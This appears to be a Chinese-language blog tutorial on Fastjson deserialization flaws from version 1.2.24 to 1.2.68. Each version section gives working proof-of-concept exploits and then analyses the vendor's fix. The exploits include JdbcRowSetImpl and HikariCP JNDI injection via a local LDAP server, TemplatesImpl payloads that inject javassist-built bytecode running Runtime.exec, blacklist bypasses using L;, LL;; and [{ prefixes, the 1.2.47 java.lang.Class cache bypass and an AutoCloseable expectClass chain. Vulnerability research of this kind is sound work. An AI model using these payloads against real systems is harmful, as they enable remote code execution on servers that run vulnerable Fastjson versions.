Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
Fastjson组件 Fastjson使用包含如下几个核心函数
1 2 3 4 5 6 String text = JSON .to JSONString(obj ) ; VO vo = JSON . parse() ; VO vo = JSON . parseObject("{...}" ) ; VO vo = JSON . parseObject("{...}" , VO.class ) ;
pom.xml
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency >
User.java
建立一个用户类,实现Setter和getter方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package demo; public class User { private int age; private String name; public int getAge () { System.out.println("getAge方法被自动调用!" ); return age; } public void setAge (int age) { System.out.println("setAge方法被自动调用!" ); this .age = age; } public String getName () { System.out.println("getName方法被自动调用!" ); return name; } public void setName (String name) { System.out.println("setName方法被自动调用!" ); this .name = name; } }
Main.java
调用com.alibaba.fastjson.JSON
将JSON文本解析为对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package demo; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature; public class Main { public static void main (String[] args) throws Exception { User user1 = new User(); user1.setName("Str3am" ); user1.setAge(11 ); String serializedStr = JSON.toJSONString(user1, SerializerFeature.WriteClassName); System.out.println("serializedStr=" +serializedStr); Object obj1 = JSON.parse(serializedStr); System.out.println("parse反序列化对象名称:" +obj1.getClass().getName()); System.out.println("parse反序列化:" +obj1); Object obj2 = JSON.parseObject(serializedStr); System.out.println("parseObject反序列化对象名称:" +obj2.getClass().getName()); System.out.println("parseObject反序列化:" +obj2); Object obj3 = JSON.parseObject(serializedStr,User.class ) ; System.out.println("parseObject反序列化对象名称:" +obj3.getClass().getName()); System.out.println("parseObject反序列化:" +obj3); } }
Fastjson提供特殊字符段@type
,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。
public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用
三种反序列化函数除了返回结果不同之外,在执行过程的调用函数上也有不同。
从上面的例子我们可以看出,在对json字符串进行反序列化的时候,会调用对应类的setter和getter方法,不同函数的调用规则如下:
toJSONString() 会调用目标类的所有getter方法
parse(“”) 会识别并调用目标类的特定 setter 方法及特定的 getter 方法
parseObject(“”) 会调用反序列化目标类的特定 setter 和 getter 方法
parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及特定的 getter 方法
特定的setter方法要求如下:
方法名长度大于4且以set开头,且第四个字母要是大写
非静态方法
返回类型为void或当前类
参数个数为1个
特定的getter方法要求如下:
方法名长度大于等于4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
(我自己在测试的时候发现没有带@type
标识符时,并不是按照这个规律,这里存疑)
因为这个特定的调用规则的原因,所以对于@type
才不会调用其getter和setter方法。特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法
下面这个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package demo; import com.alibaba.fastjson.JSON; import java.util.Hashtable; public class Main { public static void main (String[] args) throws Exception { String json="{\"table\":{}}" ; Foo foo=JSON.parseObject(json,Foo.class ) ; } } class Foo { private Hashtable table; public Hashtable getTable () { System.out.println("getter" ); return table; } }
Hashtable继承了Map,所以在反序列化的时候会调用getTable方法
ver<=1.2.24 JdbcRowSetImpl 利用条件 JNDI注入利用链是最通用的方式,在以下三种情况都可以使用
1 2 3 parse (jsonStr) parseObject (jsonStr) parseObject (jsonStr,Object.class)
漏洞复现 jdk1.8.0_161
1 2 3 4 5 6 7 8 9 10 package demo; import com.alibaba.fastjson.JSON; public class Main { public static void main (String[] args) throws Exception { String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}" ; JSON.parse(json); } }
起一个ldap服务
1 java -cp marshalsec-0.0 .3 -SNAPSHOT-all.jar marshalsec.jndi .LDAPRefServer http:
ExecTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import java.io.IOException;import java.util.Hashtable;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory; public class ExecTest implements ObjectFactory { public ExecTest () { } public Object getObjectInstance (Object var1, Name var2, Context var3, Hashtable<?, ?> var4) { exec("xterm" ); return null ; } public static String exec (String var0) { try { Runtime.getRuntime().exec("calc.exe" ); } catch (IOException var2) { var2.printStackTrace(); } return "" ; } public static void main (String[] var0) { exec("123" ); } }
编译后(编译使用的是jdk1.8.0_251,运行环境是在jdk1.8.0_161,这样测试也是可以jndi注入的)在8090端口起一个web服务
漏洞分析 JdbcRowSetImpl把JNDI注入衍生到了
1 2 3 4 5 6 7 8 9 10 import com.sun.rowset.JdbcRowSetImpl; public class CLIENT { public static void main (String[] args) throws Exception { JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl(); JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa" ); JdbcRowSetImpl_inc.setAutoCommit(true ); } }
那么只需要调用这两个set方法,这两个函数接口
1 2 public void setDataSourceName(String var1) throws SQLExceptionpublic void setAutoCommit(boolean var1)throws SQLException
可以看到是满足特殊setter的条件的
TemplatesImpl 利用条件 需要以下格式
1 2 JSON . parseObject(input , Object.class , Feature.SupportNonPublicField) JSON . parse(text1,Feature.SupportNonPublicField)
这是因为POC中有一些private属性,而且TemplatesImpl
类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要Feature.SupportNonPublicField
参数
漏洞复现 JDK1.7_21
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency > <dependency > <groupId > javassist</groupId > <artifactId > javassist</artifactId > <version > 3.12.0.GA</version > </dependency > <dependency > <groupId > org.apache.directory.studio</groupId > <artifactId > org.apache.commons.codec</artifactId > <version > 1.8</version > </dependency >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package demo; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.*;import javassist.*;import org.apache.commons.codec.binary.Base64; public class Main { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass((pool.get(AbstractTranslet.class .getName ()))) ; CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" ); cc.addConstructor(cons); byte [] byteCode=cc.toBytecode(); String evilCode=Base64.encodeBase64String(byteCode); String poc="{\n" + "\"@type\":\""+ TemplatesImpl.class.getName()+"\",\n" + "\"_bytecodes\":[\"" +evilCode+"\"],\n" + "\"_name\":\"xx\",\n" + "\"_tfactory\":{ },\n" + "\"_outputProperties\":{ }\n" + "}" ; System.out.println(poc); JSON.parse(poc, Feature.SupportNonPublicField); } }
漏洞分析 Jdk7u21后面是调用到了TemplatesImpl.getOutputProperties()
,函数原型
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
Properties继承自Hashtables,实现了Map,符合特殊getter的条件
Jdk7u21的TemplatesImple类需要满足如下条件
TemplatesImpl类的 _name
变量 != null
TemplatesImpl类的_class
变量 == null
TemplatesImpl类的 _bytecodes
变量 != null
TemplatesImpl类的_bytecodes
是我们代码执行的类的字节码。_bytecodes
中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类
我们需要执行的恶意代码写在_bytecodes
变量对应的类的静态方法或构造方法中。
TemplatesImpl类的_tfactory
需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类
对比上面那个poc就会有以下几个问题
_tfactory
为什么为空?
当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例,应有的格式即变量在源码中的定义
1 2 3 4 5 private transient TransformerFactoryImpl _tfactory = null ;
_bytecodes
需要base64编码?
FastJson提取byte[]数组字段值时会进行Base64解码
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
com.alibaba.fastjson.parser.JSONScanner#bytesValue
_outputProperties
FastJson对变量赋值的逻辑在parseField
中实现
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
key即为传入的属性名,经过了smartMatch
处理
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch
会替换掉字段key中的_
和-
,所以删除POC里的_
或者添加-
都是可以的
漏洞修复checkAutoType 在1.2.25版本之后,autotype功能受到了限制,autotype默认是关闭的,这时采用白名单判断反序列化的类名,可以手动添加白名单列表。手动开启autotype之后,使用黑名单方式来判断,同样黑名单也可以自定义。配置详情可以参考官网wiki:
https://github.com/alibaba/fastjson/wiki/enable_autotype
当autotype关闭的时候,这里以1.2.25版本为例
可以看到1.2.24版本再遇到@type
标记的时候,会直接加载指定的类,1.2.25版本则会先进入checkAutoType函数进行判断
com.alibaba.fastjson.parser.ParserConfig#checkAutoType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } final String className = typeName.replace('$' , '.' ); if (!autoTypeSupport) { for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } return clazz; }
当默认关闭autotype时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载
看下默认的黑名单和白名单(白名单为空,最下面)
com.sun
,上面两条路都被堵死了。因此,在后续的FastJson利用链中,攻防点主要在于开发者手动开启了autotype,对黑名单的绕过和加固。
1.2.25<=ver<=1.2.41 漏洞复现 需要手动开启autotype
1 ParserConfig.getGlobalInstance().setAutoTypeSupport(true );
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <dependencies > <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.25</version > </dependency > <dependency > <groupId > javassist</groupId > <artifactId > javassist</artifactId > <version > 3.12.0.GA</version > </dependency > <dependency > <groupId > org.apache.directory.studio</groupId > <artifactId > org.apache.commons.codec</artifactId > <version > 1.8</version > </dependency > </dependencies >
jdk1.8.0_161
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package demo; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.*;import javassist.*;import org.apache.commons.codec.binary.Base64; public class Main { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass((pool.get(AbstractTranslet.class .getName ()))) ; CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" ); cc.addConstructor(cons); byte [] byteCode=cc.toBytecode(); String evilCode=Base64.encodeBase64String(byteCode); String poc="{\n" + "\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" + "\"_bytecodes\":[\"" +evilCode+"\"],\n" + "\"_name\":\"xx\",\n" + "\"_tfactory\":{ },\n" + "\"_outputProperties\":{ }\n" + "}" ; System.out.println(poc); ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); JSON.parse(poc, Feature.SupportNonPublicField); } }
漏洞分析 开启auto后checkAutoType的逻辑判断
com.alibaba.fastjson.parser.ParserConfig#checkAutoType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } else { String className = typeName.replace('$' , '.' ); if (this .autoTypeSupport || expectClass != null ) { int i; String deny; for (i = 0 ; i < this .acceptList.length; ++i) { deny = this .acceptList[i]; if (className.startsWith(deny)) { return TypeUtils.loadClass(typeName, this .defaultClassLoader); } } for (i = 0 ; i < this .denyList.length; ++i) { deny = this .denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } ... if (this .autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader); } ... } } }
同样会先进行黑白名单检测,如果都不满足,开启autotype后会进入TypeUtils.loadClass
尝试读取类,跟进loadClass逻辑
可以看到,当className以L
开头并以;
时,会直接去掉L
和;
,然后加载。这是由于历史原因,X.class.getName
方法在应用于数组类型时会返回奇怪的名字,这也是对特征的兼容。
那么我们可以在想要反序列化的类名加上L
开头,;
结尾,来绕过黑名单的检测。
添加[
也可以,不过这是1.2.43版本的绕过方式了。
漏洞修复 1.2.42版本checkAutoType逻辑和之前差不多,只是黑白名单判断这里采用hash去替代startwith。为了防范1.2.41版本的绕过,这里开头直接删除掉了L
和结尾的;
(如果类名存包含的话)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null ) { return null ; } else if (typeName.length() < 128 && typeName.length() >= 3 ) { String className = typeName.replace('$' , '.' ); Class<?> clazz = null ; long BASIC = -3750763034362895579L ; long PRIME = 1099511628211L ; if (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(className.length() - 1 )) * 1099511628211L == 655701488918567152L ) { className = className.substring(1 , className.length() - 1 ); } long h3 = (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(1 )) * 1099511628211L ^ (long )className.charAt(2 )) * 1099511628211L ; long hash; int i; if (this .autoTypeSupport || expectClass != null ) { hash = h3; for (i = 3 ; i < className.length(); ++i) { hash ^= (long )className.charAt(i); hash *= 1099511628211L ; if (Arrays.binarySearch(this .acceptHashCodes, hash) >= 0 ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); if (clazz != null ) { return clazz; } } if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException("autoType is not support. " + typeName); } } }
这里采用hash的方式去验证黑白名单,那么我们理论上可以遍历所有的jar包,计算出对应的类名,github上有一个项目 已经完成了这个事情。
1.2.42 漏洞复现 pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <dependencies > <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.42</version > </dependency > <dependency > <groupId > javassist</groupId > <artifactId > javassist</artifactId > <version > 3.12.0.GA</version > </dependency > <dependency > <groupId > org.apache.directory.studio</groupId > <artifactId > org.apache.commons.codec</artifactId > <version > 1.8</version > </dependency > </dependencies >
jdk1.8.0_161
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package demo; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.*;import javassist.*;import org.apache.commons.codec.binary.Base64; public class Main { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass((pool.get(AbstractTranslet.class .getName ()))) ; CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" ); cc.addConstructor(cons); byte [] byteCode=cc.toBytecode(); String evilCode=Base64.encodeBase64String(byteCode); String poc="{\n" + "\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\",\n" + "\"_bytecodes\":[\"" +evilCode+"\"],\n" + "\"_name\":\"xx\",\n" + "\"_tfactory\":{ },\n" + "\"_outputProperties\":{ }\n" + "}" ; System.out.println(poc); ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); JSON.parse(poc, Feature.SupportNonPublicField); } }
漏洞分析 上面提到了1.2.42版本checkAutoType函数会先去除掉开头的L
和结尾的;
,但是TypeUtils.loadClass
处理逻辑依然会处理掉L
和;
,那么直接双写L
和;
就可以绕过
漏洞修复 com.alibaba.fastjson.parser.ParserConfig#checkAutoType
双写可以绕过,直接检测是否以LL
开头,简单粗暴
1.2.43 漏洞复现 jdk1.8.0_161
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package demo; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.*;import javassist.*;import org.apache.commons.codec.binary.Base64; public class Main { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass((pool.get(AbstractTranslet.class .getName ()))) ; CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" ); cc.addConstructor(cons); byte [] byteCode=cc.toBytecode(); String evilCode=Base64.encodeBase64String(byteCode); String poc="{\n" + "\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{,\n" + "\"_bytecodes\":[\"" +evilCode+"\"],\n" + "\"_name\":\"xx\",\n" + "\"_tfactory\":{ },\n" + "\"_outputProperties\":{ }\n" + "}" ; System.out.println(poc); ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); JSON.parse(poc, Feature.SupportNonPublicField); } }
漏洞分析 使用这个payload
1 2 3 4 5 6 7 String poc="{\n " + "\" @type\" :\" [com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\" ,\n " + "\" _bytecodes\" :[\" " +evilCode+"\" ],\n " + "\" _name\" :\" xx\" ,\n " + "\" _tfactory\" :{ },\n " + "\" _outputProperties\" :{ }\n " + "}" ;
提示逗号前需要[
又提示在加入的[
后需要一个{
,加上即可,这里涉及fastjson具体解析字符串的过程,就不再深入分析。
漏洞修复 com.alibaba.fastjson.parser#checkAutoType
直接过滤掉[
和;
结尾的类
1.2.47 1.2.46~1.2.46版本主要是黑名单的添加,然后到1.2.47版本出现了通杀的payload
漏洞复现 jdk1.8.0_161
我本地测试,开不开启autotype都是可以成功的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package demo; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.*;import javassist.*;import org.apache.commons.codec.binary.Base64; public class Main { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass((pool.get(AbstractTranslet.class .getName ()))) ; CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" ); cc.addConstructor(cons); byte [] byteCode=cc.toBytecode(); String evilCode=Base64.encodeBase64String(byteCode); String poc="[\n" + " {\n" + " \"@type\": \"java.lang.Class\", \n" + " \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" + " }, \n" + " {\n" + " \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \n" + " \"_bytecodes\":[\"" +evilCode+"\"],\n" + " \"_name\":\"xx\",\n" + " \"_tfactory\":{ },\n" + " \"_outputProperties\":{ }\n" + " }\n" + "]" ; System.out.println(poc); JSON.parse(poc, Feature.SupportNonPublicField); } }
漏洞分析 从parseObject开始分析
com.alibaba.fastjson.parser#parseObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public final Object parseObject (Map object, Object fieldName) { ... if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { typeName = lexer.scanSymbol(this .symbolTable, '"' ); if (!lexer.isEnabled(Feature.IgnoreAutoType)) { strValue = null ; Class clazz; if (object != null && object.getClass().getName().equals(typeName)) { clazz = object.getClass(); } else { clazz = this .config.checkAutoType(typeName, (Class)null , lexer.getFeatures()); } ... ObjectDeserializer deserializer = this .config.getDeserializer(clazz); thisObj = deserializer.deserialze(this , clazz, fieldName); return thisObj; ... }
第一层payload java.lang.Class
不在黑名单内,比较特殊的是这个类类对应的deserializer为MiscCodec
com.alibaba.fastjson.serializer#deserialze
前面为格式检测,这里会检测@type
后面一个键是否为val
,然后将其值赋予strVal
这里clazz == Class.class
满足,进入TypeUtils.loadClass
,然后可以看到默认调用的话,第三个参数是为true
的
com.alibaba.fastjson.util#loadClass
classLoader.loadClass
加载com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类后放入缓存的mapping里面
当第二个@type
解析时,我们跟一下checkAutoType的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null ) { return null ; } else if (typeName.length() < 128 && typeName.length() >= 3 ) { String className = typeName.replace('$' , '.' ); Class<?> clazz = null ; long BASIC = -3750763034362895579L ; long PRIME = 1099511628211L ; long h1 = (-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ; if (h1 == -5808493101479473382L ) { throw new JSONException("autoType is not support. " + typeName); } else if ((h1 ^ (long )className.charAt(className.length() - 1 )) * 1099511628211L == 655701488918567152L ) { throw new JSONException("autoType is not support. " + typeName); } else { long h3 = (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(1 )) * 1099511628211L ^ (long )className.charAt(2 )) * 1099511628211L ; long hash; int i; if (this .autoTypeSupport || expectClass != null ) { hash = h3; for (i = 3 ; i < className.length(); ++i) { hash ^= (long )className.charAt(i); hash *= 1099511628211L ; if (Arrays.binarySearch(this .acceptHashCodes, hash) >= 0 ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); if (clazz != null ) { return clazz; } } if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException("autoType is not support. " + typeName); } } } if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null ) { clazz = this .deserializers.findClass(typeName); }
当autoTypeSupport
关闭的时候,直接clazz = TypeUtils.getClassFromMapping(typeName)
,从mapping里面获取类,当其开启的时候,白名单肯定不满足,但是黑名单判断的时候Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null
要求满足符合黑名单并且不再mapping内才会抛出异常,所以也会进入clazz = TypeUtils.getClassFromMapping(typeName)
逻辑,开不开启autype都是可以的
漏洞修复 1.2.48版本直接设置MiscCode类deserialze方法的TypeUtils.loadClass
的第三个参数为false
1.2.59(CVE-2019-14540) 后面版本就基本上是开启autotype,和黑名单的对抗了
漏洞复现 jdk1.8.0_161,版本需要小于jdk 191,ldap注入
pom.xml
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.48</version > </dependency > <dependency > <groupId > com.zaxxer</groupId > <artifactId > HikariCP</artifactId > <version > 3.2.0</version > </dependency >
1 2 3 4 5 6 7 8 9 10 11 package demo;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) throws Exception { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); JSON.parse("{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://127.0.0.1:1389/Exploit\"}" ); } }
Exploit.java
1 2 3 4 5 6 7 8 9 public class Exploit { public Exploit () { try { Runtime.getRuntime().exec("calc.exe" ); } catch (Exception e) { e.printStackTrace(); } } }
漏洞分析 com.zaxxer.hikari#setMetricRegistry
metricRegistry可控,getObjectOrPerformJndiLookup函数存在lookup绑定refference的操作,可以JNDI注入
1.2.68 expectClass绕过AutoType
1.2.61开始,黑名单从十进制变成了十六进制,1.2.62开始,黑名单从小写变成了大写
1.2.48-1.2.68黑名单绕过的有很多,这里不再赘述,文末链接有
在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType
漏洞复现
jdk1.8.0_161
fastjson 1.2.68
开不开启autotype都是可以的
服务端存在如下实现AutoCloseable接口类的恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package demo;public class VulAutoCloseable implements AutoCloseable { public VulAutoCloseable (String cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } @Override public void close () throws Exception { } }
1 2 3 4 5 6 7 8 9 10 11 package demo;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) throws Exception { JSON.parse("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"demo.VulAutoCloseable\",\"cmd\":\"calc\"}" ); } }
漏洞分析 com.alibaba.fastjson.parser#checkAutoType
第一个类java.lang.AutoCloseable,直接从mapping中获取
然后回到 com.alibaba.fastjson.parser#parseObject,调用JavaBeanDeserializer的deserialze
这里主要逻辑就读取第二个@type
对应的类名,这里找不到对应的deserializer,会二次进入checkAutoType函数
这里expectclass参数为java.lang.AutoCloseable
expectClass不为null,且不为下面几种class,expectClassFlag被设置为true
expectClassFlag为true,这里不受autotype影响,直接loadClass
最后会检测clazz是否为expectClass的子类或者实现了其接口,所以恶意类要求实现AutoCloseable接口
需要找实现AutoCloseable接口的类,IntputStream和OutputStream都是实现自AutoCloseable接口的,再找继承他们的类,同时需要调用其恶意的set或者get方法
实际利用有限,可以复制,写入文件。写入文件也有限制,不能写入特殊字符,比如不能写入PHP代码,POC可参考这里
参考链接